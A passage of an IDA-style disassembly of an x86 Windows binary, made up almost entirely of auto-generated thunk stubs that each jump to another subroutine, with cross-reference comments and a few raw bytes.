sub_40FF60+AFDp ; sub_40FF60+E71p ... jmp sub_40AEC0 sub_4013D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D9 proc near ; CODE XREF: sub_404C70+8EFp ; sub_404C70+8F8p ... jmp sub_40A270 sub_4013D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013DE proc near ; CODE XREF: ___:0042200Ap jmp sub_422540 sub_4013DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E3 proc near ; CODE XREF: sub_404640+87p ; sub_40FF60+9B0p ... jmp sub_40A160 sub_4013E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E8 proc near ; CODE XREF: sub_426A60+12Ep jmp sub_419F50 sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013ED proc near ; CODE XREF: sub_41E660+35Dp ; sub_41E660+3CAp ... jmp sub_421BA0 sub_4013ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013F2 proc near ; CODE XREF: sub_418CA0+7p jmp sub_418FA0 sub_4013F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F7 proc near ; CODE XREF: sub_4161C0+5Fp jmp sub_416790 sub_4013F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013FC proc near ; DATA XREF: ___:off_43E0C4o jmp sub_41B3D0 sub_4013FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401401 proc near ; CODE XREF: sub_4156C0+29p ; sub_4157E0+29p jmp sub_416280 sub_401401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401406 proc near ; CODE XREF: sub_413DA0+19Ap jmp sub_4157A0 sub_401406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40140B proc near ; CODE XREF: ___:0042EF0Fp ; ___:0042EF38p jmp sub_42F0B0 sub_40140B endp ; --------------------------------------------------------------------------- jmp loc_42CFC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401415 proc near ; CODE XREF: ___:00416DFFp jmp sub_417E50 sub_401415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141A proc near ; CODE XREF: sub_41B820:loc_41B82Fp ; sub_41B820+1Fp jmp sub_41B800 sub_40141A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141F proc near ; DATA XREF: sub_40AEC0+4o jmp sub_40AF90 sub_40141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401424 proc near ; CODE XREF: sub_4034E0+61p ; sub_403C90+1Dp ... jmp sub_409AE0 sub_401424 endp ; --------------------------------------------------------------------------- jmp loc_435E40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40142E proc near ; CODE XREF: sub_418890+29p jmp sub_418B10 sub_40142E endp ; --------------------------------------------------------------------------- jmp loc_433080 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401438 proc near ; CODE XREF: ___:0043286Dp ; sub_4329F0+20p jmp sub_432B20 sub_401438 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40143D proc near ; CODE XREF: ___:00406BD3p ; ___:00416B58p ... jmp sub_406C00 sub_40143D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401442 proc near ; CODE XREF: sub_404640+370p ; sub_404640:loc_4049E5p ... jmp sub_404BE0 sub_401442 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401447 proc near ; CODE XREF: sub_404C70+26Bp ; ___:0040F276p ... jmp sub_40E7A0 sub_401447 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40144C proc near ; CODE XREF: sub_415960+5p jmp sub_416440 sub_40144C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401451 proc near ; CODE XREF: sub_40B520+1Dp ; ___:0040B94Dp ... jmp sub_40BD20 sub_401451 endp ; --------------------------------------------------------------------------- jmp loc_40B5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40145B proc near ; CODE XREF: sub_41E660+349p ; sub_421AF0+1Ap jmp sub_421B60 sub_40145B endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401465 proc near ; CODE XREF: sub_4150F0+29p jmp sub_415BE0 sub_401465 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146A proc near ; CODE XREF: ___:00408A3Ap ; ___:00408A63p ... jmp sub_409450 sub_40146A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146F proc near ; CODE XREF: sub_404640+30p ; sub_404640+14Bp ... jmp sub_40A6C0 sub_40146F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401474 proc near ; CODE XREF: sub_4192C0+1D8p ; sub_4192C0+1EFp jmp sub_419790 sub_401474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401479 proc near ; CODE XREF: sub_4126B0+F8p jmp sub_41BC90 sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40147E proc near ; CODE XREF: sub_413B70+E1p jmp sub_4151D0 sub_40147E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401483 proc near ; CODE XREF: sub_422A40+48p ; sub_422A40+213p ... jmp sub_425870 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401488 proc near ; CODE XREF: sub_41B4B0+2Ap ; sub_41B4B0+5Ap jmp sub_41A5B0 sub_401488 endp ; --------------------------------------------------------------------------- jmp loc_431100 ; --------------------------------------------------------------------------- jmp loc_42E8E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401497 proc near ; CODE XREF: sub_40ED70+EAp jmp sub_40EC30 sub_401497 endp ; --------------------------------------------------------------------------- jmp loc_40A6E0 ; --------------------------------------------------------------------------- loc_4014A1: ; DATA XREF: ___:off_43E078o jmp loc_40F140 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014A6 proc near ; CODE XREF: sub_40BD20+16p ; sub_40BD60+Bp ... jmp sub_40C0C0 sub_4014A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014AB proc near ; CODE XREF: sub_42B1D0+1Dp jmp sub_42B240 sub_4014AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B0 proc near ; CODE XREF: sub_41C610+4E7p ; sub_41C610+A75p ... jmp sub_41D5D0 sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014B5 proc near ; CODE XREF: sub_413220+48p ; ___:00439997j ... jmp sub_4156C0 sub_4014B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BA proc near jmp sub_40AE80 sub_4014BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BF proc near ; DATA XREF: ___:off_43E044o jmp sub_414D40 sub_4014BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C4 proc near ; CODE XREF: ___:00426623p sub_426680j ... jmp sub_426560 sub_4014C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C9 proc near ; CODE XREF: sub_4034E0+115p ; sub_404640+1B8p ... jmp sub_409B80 sub_4014C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014CE proc near ; CODE XREF: sub_40AC70+7p jmp sub_40AD60 sub_4014CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D3 proc near ; CODE XREF: sub_404B10+9p ; sub_404C70+45p ... jmp sub_40A740 sub_4014D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D8 proc near ; CODE XREF: sub_41E660+E1p ; sub_4218F0+1Ap jmp sub_421960 sub_4014D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014DD proc near ; CODE XREF: sub_41A110+10p ; sub_41A2B0+47p ... jmp sub_41A500 sub_4014DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014E2 proc near ; CODE XREF: sub_4070B0+24p jmp sub_407290 sub_4014E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E7 proc near ; CODE XREF: ___:0042B0F5p jmp sub_42B1D0 sub_4014E7 endp ; --------------------------------------------------------------------------- jmp sub_427600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F1 proc near ; CODE XREF: ___:00416B1Bp ; ___:00439EB6j ... jmp sub_417540 sub_4014F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F6 proc near ; CODE XREF: sub_415B20+5Fp jmp sub_416510 sub_4014F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014FB proc near ; CODE XREF: sub_424800+Fp ; sub_424840+1CCp ... jmp sub_424760 sub_4014FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401500 proc near ; CODE XREF: sub_4282C0+117p ; sub_4282C0+1DCp ... jmp sub_409F90 sub_401500 endp ; --------------------------------------------------------------------------- jmp loc_4199B0 ; --------------------------------------------------------------------------- jmp loc_432C30 ; --------------------------------------------------------------------------- jmp loc_42EC00 ; --------------------------------------------------------------------------- jmp loc_42EB10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401519 proc near ; CODE XREF: sub_421F50+8p jmp sub_4223A0 sub_401519 endp ; --------------------------------------------------------------------------- jmp locret_419930 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401523 proc near ; CODE XREF: sub_40CBB0+1E1p ; sub_40CF60+143p ... jmp sub_419970 sub_401523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401528 proc near ; CODE XREF: sub_418A70+3p jmp sub_418D00 sub_401528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40152D proc near ; DATA XREF: ___:0043E1B8o jmp sub_42B540 sub_40152D endp ; --------------------------------------------------------------------------- jmp loc_432580 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401537 proc near ; CODE XREF: sub_40FF60+95p ; sub_411FE0+54Dp ... jmp sub_414210 sub_401537 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40153C proc near ; CODE XREF: sub_40B520+Bp ; ___:0040B939p jmp sub_40BE20 sub_40153C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401541 proc near ; CODE XREF: sub_42F540+1Bp ; sub_431BE0+94p jmp sub_42F6B0 sub_401541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401546 proc near ; CODE XREF: sub_421ED0+7p jmp sub_422350 sub_401546 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40154B proc near ; CODE XREF: ___:0043285Fp ; sub_4329F0+Fp jmp sub_432B60 sub_40154B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401550 proc near ; CODE XREF: sub_418940+29p ; sub_418A20+29p jmp sub_418BC0 sub_401550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401555 proc near ; CODE XREF: sub_40B170+40p ; ___:00438B1Aj ... jmp sub_40BCB0 sub_401555 endp ; --------------------------------------------------------------------------- jmp loc_4303B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40155F proc near ; CODE XREF: sub_40BFF0+4p jmp sub_40C200 sub_40155F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401564 proc near ; CODE XREF: sub_407030+3Cp jmp sub_4071E0 sub_401564 endp ; --------------------------------------------------------------------------- jmp loc_41BC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40156E proc near ; CODE XREF: sub_415210+4Fp ; sub_415B20+11p ... jmp sub_415D70 sub_40156E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401573 proc near ; CODE XREF: ___:00416E8Ap jmp sub_418230 sub_401573 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401578 proc near ; CODE XREF: sub_413670+BEp ; sub_413670+FCp ... jmp sub_4150F0 sub_401578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40157D proc near ; CODE XREF: ___:00416D9Fp jmp sub_417BC0 sub_40157D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401582 proc near ; CODE XREF: sub_412900+39p ; sub_412970+A9p jmp sub_412870 sub_401582 endp ; --------------------------------------------------------------------------- jmp loc_4310D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40158C proc near ; CODE XREF: sub_40A430+16Fp ; ___:00438A8Aj jmp sub_40A790 sub_40158C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401591 proc near ; CODE XREF: sub_403FC0+51p ; ___:00404064p ... jmp sub_4070B0 sub_401591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401596 proc near ; CODE XREF: ___:00408A57p ; ___:00408A80p ... jmp sub_40B680 sub_401596 endp ; --------------------------------------------------------------------------- jmp loc_431F90 ; --------------------------------------------------------------------------- jmp loc_41A180 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015A5 proc near ; CODE XREF: sub_415FC0+4p jmp sub_416610 sub_4015A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015AA proc near ; CODE XREF: sub_409850+1Ap ; sub_4098A0+1Ap jmp sub_409910 sub_4015AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015AF proc near ; DATA XREF: ___:0043E134o jmp sub_428040 sub_4015AF endp ; --------------------------------------------------------------------------- jmp loc_4328F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B9 proc near ; CODE XREF: ___:004191A5p jmp sub_419200 sub_4015B9 endp ; --------------------------------------------------------------------------- jmp loc_4324C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015C3 proc near ; CODE XREF: ___:0041D733p jmp sub_41D760 sub_4015C3 endp ; --------------------------------------------------------------------------- jmp loc_432200 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015CD proc near ; CODE XREF: sub_415340+5p jmp sub_415DA0 sub_4015CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D2 proc near ; CODE XREF: sub_4189B0+5p ; sub_418AB0+6p ... jmp sub_418CC0 sub_4015D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D7 proc near ; CODE XREF: sub_404C70+953p ; ___:00406E5Cp ... jmp sub_409C80 sub_4015D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015DC proc near ; CODE XREF: ___:00416D5Fp jmp sub_406BA0 sub_4015DC endp ; --------------------------------------------------------------------------- jmp loc_424350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E6 proc near ; CODE XREF: ___:00415E2Ap jmp sub_416660 sub_4015E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015EB proc near ; CODE XREF: sub_41EF30+1C7p jmp sub_420CD0 sub_4015EB endp ; --------------------------------------------------------------------------- loc_4015F0: ; DATA XREF: ___:0043E1C0o jmp loc_42B830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F5 proc near ; CODE XREF: sub_427FF0+3p jmp sub_428020 sub_4015F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015FA proc near ; CODE XREF: sub_404C70+E94p ; sub_40D580+120p ... jmp sub_41FF90 sub_4015FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FF proc near ; CODE XREF: sub_4314C0+20p ; sub_4314C0+32p jmp sub_433670 sub_4015FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401604 proc near ; CODE XREF: ___:00431435p jmp sub_42FF30 sub_401604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401609 proc near jmp sub_425980 sub_401609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40160E proc near ; CODE XREF: sub_4163E0+8p jmp sub_4167B0 sub_40160E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401613 proc near ; DATA XREF: ___:off_43E0ACo jmp sub_41E660 sub_401613 endp ; --------------------------------------------------------------------------- jmp loc_41AAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40161D proc near ; CODE XREF: sub_40AEA0p ___:004300F2p jmp sub_431300 sub_40161D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401622 proc near ; CODE XREF: sub_4070F0+1Ap ; sub_418890+1Ap jmp sub_407220 sub_401622 endp ; --------------------------------------------------------------------------- jmp loc_416C90 ; --------------------------------------------------------------------------- jmp loc_42F070 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401631 proc near ; CODE XREF: sub_422240+5Fp jmp sub_4225E0 sub_401631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401636 proc near ; CODE XREF: ___:0041A20Ap jmp sub_41B060 sub_401636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163B proc near ; CODE XREF: sub_4314C0:loc_4314FEp jmp sub_431560 sub_40163B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401640 proc near ; CODE XREF: sub_432E60+12p ; sub_4335B0+51p jmp sub_430520 sub_401640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401645 proc near ; CODE XREF: ___:00416DAFp jmp sub_417C60 sub_401645 endp ; --------------------------------------------------------------------------- jmp loc_4301F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164F proc near ; CODE XREF: sub_40A850+8p jmp sub_40A8A0 sub_40164F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401654 proc near ; CODE XREF: ___:00412F4Ep jmp sub_4130E0 sub_401654 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401659 proc near ; CODE XREF: sub_42FAA0+ADp ; ___:004322B0p ... jmp sub_42F4F0 sub_401659 endp ; --------------------------------------------------------------------------- db 0E9h ; é db 5Dh ; ] db 0A1h ; ¡ db 2 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401663 proc near ; CODE XREF: sub_42B880+15Ep jmp sub_42B480 sub_401663 endp ; --------------------------------------------------------------------------- jmp loc_406850 ; --------------------------------------------------------------------------- jmp loc_42E350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401672 proc near ; CODE XREF: ___:004073CAp jmp sub_407570 sub_401672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401677 proc near ; CODE XREF: sub_422650+3Cp jmp sub_422790 sub_401677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40167C proc near ; DATA XREF: ___:0043E0C8o jmp sub_41B4B0 sub_40167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401681 proc near ; CODE XREF: sub_4034E0+BBp ; ___:00406ECDp ... jmp sub_4036B0 sub_401681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401686 proc near ; CODE XREF: ___:0042EDB0p ; ___:0042EE2Ep ... jmp sub_432D80 sub_401686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168B proc near ; CODE XREF: sub_409490+10p jmp sub_409530 sub_40168B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401690 proc near ; CODE XREF: sub_40A430+4Ap jmp sub_40A760 sub_401690 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401695 proc near ; CODE XREF: ___:00416DCFp jmp sub_40F600 sub_401695 endp ; --------------------------------------------------------------------------- jmp loc_4320E0 ; --------------------------------------------------------------------------- jmp loc_42E650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A4 proc near ; CODE XREF: sub_40BEC0+9p ; sub_40C120+18p jmp sub_40C2A0 sub_4016A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A9 proc near ; CODE XREF: sub_41D830+283p jmp sub_42E880 sub_4016A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AE proc near ; CODE XREF: sub_4034E0+CCp ; sub_404640+EDp ... jmp sub_40A630 sub_4016AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B3 proc near ; CODE XREF: ___:00416DEFp jmp sub_417E20 sub_4016B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: sub_4245F0+7Ep ; sub_4245F0+92p ... jmp sub_4244C0 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BD proc near ; CODE XREF: sub_4126B0+E0p ; sub_4137E0+CEp ... jmp sub_409E70 sub_4016BD endp ; --------------------------------------------------------------------------- jmp loc_42E130 ; --------------------------------------------------------------------------- jmp loc_42E8B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016CC proc near ; CODE XREF: ___:00415099p jmp sub_4159D0 sub_4016CC endp ; --------------------------------------------------------------------------- loc_4016D1: ; DATA XREF: ___:off_43E0ECo jmp loc_426620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D6 proc near ; CODE XREF: sub_409600+58p ; sub_409600+82p ... jmp sub_409850 sub_4016D6 endp ; --------------------------------------------------------------------------- jmp sub_426F20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016E0 proc near ; CODE XREF: sub_41E660+2B2p jmp sub_421AB0 sub_4016E0 endp ; --------------------------------------------------------------------------- jmp loc_41AE50 ; --------------------------------------------------------------------------- jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016EF proc near ; CODE XREF: sub_40A850+10p jmp sub_40A8C0 sub_4016EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016F4 proc near jmp sub_4351E0 sub_4016F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F9 proc near ; CODE XREF: sub_418330+7Bp ; sub_418330+C5p ... jmp sub_418AE0 sub_4016F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016FE proc near ; CODE XREF: sub_4147D0+FCp jmp sub_4149A0 sub_4016FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401703 proc near ; CODE XREF: sub_41E660+D1p jmp sub_421A10 sub_401703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401708 proc near ; CODE XREF: sub_40AE80p ; ___:loc_4300D5p jmp sub_431280 sub_401708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40170D proc near ; CODE XREF: sub_409600+91p ; sub_412BC0+Dp jmp sub_4097D0 sub_40170D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401712 proc near ; DATA XREF: ___:off_43E0A8o jmp sub_40C400 sub_401712 endp ; --------------------------------------------------------------------------- jmp loc_40ADE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40171C proc near ; CODE XREF: sub_4139B0+4Ep jmp sub_415070 sub_40171C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401721 proc near ; CODE XREF: sub_40F600+13Dp jmp sub_412B90 sub_401721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401726 proc near ; CODE XREF: ___:0040F1C0p jmp sub_40E220 sub_401726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40172B proc near ; CODE XREF: ___:004150C1p jmp sub_415AA0 sub_40172B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401730 proc near ; CODE XREF: sub_427650+98p jmp sub_4277C0 sub_401730 endp ; --------------------------------------------------------------------------- jmp loc_425410 ; --------------------------------------------------------------------------- jmp loc_41AEF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40173F proc near ; CODE XREF: sub_4070F0+48p ; sub_4070F0:loc_407175p jmp sub_4072F0 sub_40173F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401744 proc near ; CODE XREF: sub_40AE10+2Cp ; sub_418330+8Fp ... jmp sub_40AF40 sub_401744 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401749 proc near ; CODE XREF: sub_4036D0+2A5p ; sub_4036D0+2B5p ... jmp sub_403D90 sub_401749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40174E proc near ; CODE XREF: sub_42A5F0+7Fp ; sub_42A810+318p jmp sub_42A400 sub_40174E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401753 proc near ; CODE XREF: sub_415990+16p ; sub_4159D0+Bp ... jmp sub_416530 sub_401753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401758 proc near ; CODE XREF: sub_40AF40+10p ; ___:0042F2C1p ... jmp sub_430180 sub_401758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40175D proc near ; CODE XREF: ___:0040AF14p jmp sub_4335B0 sub_40175D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401762 proc near ; CODE XREF: sub_418D80+5Fp jmp sub_419010 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401767 proc near ; CODE XREF: ___:0041886Cp jmp sub_418490 sub_401767 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40176C proc near ; CODE XREF: ___:00416A1Bp ; ___:00416CE3p ... jmp sub_416CC0 sub_40176C endp ; --------------------------------------------------------------------------- jmp loc_420DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401776 proc near ; CODE XREF: ___:00416DBFp jmp sub_417D30 sub_401776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40177B proc near ; CODE XREF: sub_42F840+5Dp ; sub_430810+2Cp ... jmp sub_430FE0 sub_40177B endp ; --------------------------------------------------------------------------- jmp loc_42E2A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401785 proc near ; CODE XREF: ___:00426080p jmp sub_427590 sub_401785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178A proc near ; CODE XREF: ___:00425467p jmp sub_425270 sub_40178A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178F proc near ; CODE XREF: ___:00416E9Ap jmp sub_418260 sub_40178F endp ; --------------------------------------------------------------------------- jmp loc_431F10 ; --------------------------------------------------------------------------- jmp loc_42EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40179E proc near ; CODE XREF: ___:00427FC3p sub_428020j ... jmp sub_427EF0 sub_40179E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A3 proc near ; CODE XREF: ___:00416ACBp ; ___:00416C93p ... jmp sub_416C60 sub_4017A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A8 proc near ; DATA XREF: ___:off_43E17Co jmp sub_42A100 sub_4017A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017AD proc near ; CODE XREF: sub_42FF50+D7p jmp sub_431730 sub_4017AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B2 proc near ; CODE XREF: sub_40AE80+5j ; ___:loc_4300DDp jmp sub_431380 sub_4017B2 endp ; --------------------------------------------------------------------------- jmp loc_430130 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017BC proc near ; CODE XREF: sub_4253E0+10p ; sub_4254E0+3Dp jmp sub_4254B0 sub_4017BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C1 proc near ; CODE XREF: sub_40AEA0+5j ; ___:loc_4300E5p ... jmp sub_4313A0 sub_4017C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C6 proc near ; DATA XREF: ___:off_43E000o jmp sub_404C70 sub_4017C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017CB proc near ; CODE XREF: sub_424800+1Ep ; sub_424840+A6p ... jmp sub_424790 sub_4017CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D0 proc near ; CODE XREF: ___:00416A8Bp ; ___:00439F34j ... jmp sub_417960 sub_4017D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D5 proc near ; CODE XREF: sub_416120+11p ; ___:00416147p ... jmp sub_4166F0 sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DA proc near ; CODE XREF: sub_415910+3p ; ___:0041616Fp ... jmp sub_4163A0 sub_4017DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017DF proc near ; CODE XREF: sub_415520+5Ep ; sub_415F30+32p jmp sub_415E70 sub_4017DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E4 proc near ; CODE XREF: sub_4034E0+DBp ; sub_403FC0+3Fp ... jmp sub_40A720 sub_4017E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E9 proc near ; CODE XREF: ___:00421DAAp jmp sub_422370 sub_4017E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk 